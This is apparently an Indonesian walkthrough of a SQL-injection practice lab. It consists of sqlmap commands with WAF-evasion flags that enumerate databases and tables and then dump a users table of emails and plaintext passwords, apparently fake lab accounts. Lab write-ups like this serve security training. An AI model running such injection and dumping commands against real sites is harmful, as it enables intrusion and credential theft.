https://vulnlab.*****.id
1. cari database
sqlmap -u https://vulnlab.*****.id/lab/sql-injection/find-password/?search= --random-agent --ignore-code=404 --ignore-code=500 --ignore-code=403 --tamper=space2comment --dbs
available databases [2]:
[*] information_schema
[*] u578379412_vulnlab
2. cari tabel
sqlmap -u https://vulnlab.****.id/lab/sql-injection/find-password/?search= --random-agent --ignore-code=404 --ignore-code=500 --ignore-code=403 --tamper=space2comment -D u578379412_vulnlab --tables
database: u578379412_vulnlab
[5 tables]
+------------+
| data |
| images |
| secretuser |
| stocks |
| users |
+------------+
3. dump users
sqlmap -u https://vulnlab.*****.id/lab/sql-injection/find-password/?search= --random-agent --ignore-code=404 --ignore-code=500 --ignore-code=403 --tamper=space2comment -D u578379412_vulnlab -T users --no-cast --dump
Table: users
[15 entries]
+----+--------------------------------+-----------+--------------+--------------+-------------+
| id | email | name | surname | password | username |
+----+--------------------------------+-----------+--------------+--------------+-------------+
| 1 | ephraim_frits@supermail.com | Angelo | Williams | ii7phaufuGah | angelo12 |
| 2 | JohnDMoore@dayrep.com | John | Moore | Oir6ot6Aet4 | moore |
| 3 | NicholeWWannamaker@teleworm.us | Nichole | Wannamaker | Baevaed0jah | nicool |
| 4 | LewisLSing@teleworm.us | Lewis | Sing | aeShek9d | singlewis |
| 5 | RebeccaJRussell@rhyta.com | Rebecca | Russell | uQuah5athah | russrebecca |
| 6 | ArthurHNadeau@dayrep.com | Arthur | Nadeau | to4ixia7C | arthurnad |
| 7 | temojev119@drlatvia.com | teadorate | macheal | temojev119 | teador |
| 8 | MaryGChatterton@rhyta.com | Mary | G.Chatterton | Iequahx4 | Thiped |
| 9 | CarrieDYoung@rhyta.com | Carrie | Young | kei7Ru4aay | Duccoldany |
| 10 | KarenRVelez@rhyta.com | Karen | Velez | aiPh1aht | Basure |
| 11 | VirginiaJBryson@jourrapide.com | Virginia | Bryson | Oom1dai2Ae | Lonce1992 |
| 12 | TiffanyRGriffith@dayrep.com | Tiffany | Griffith | ieSh6aim | Lawas1965 |
| 13 | HeatherLJohnson@armyspy.com | Heather | Johnson | Fah6einai7s | Rompubse |
| 14 | RamonaKWebster@dayrep.com | Ramona | Webster | aeYahm6zee0 | Sequand |
| 15 | andraJFraser@teleworm.us | Sandra | Fraser | Oemeey3uji | Moret1948 |
+----+--------------------------------+-----------+--------------+--------------+-------------+
Komentar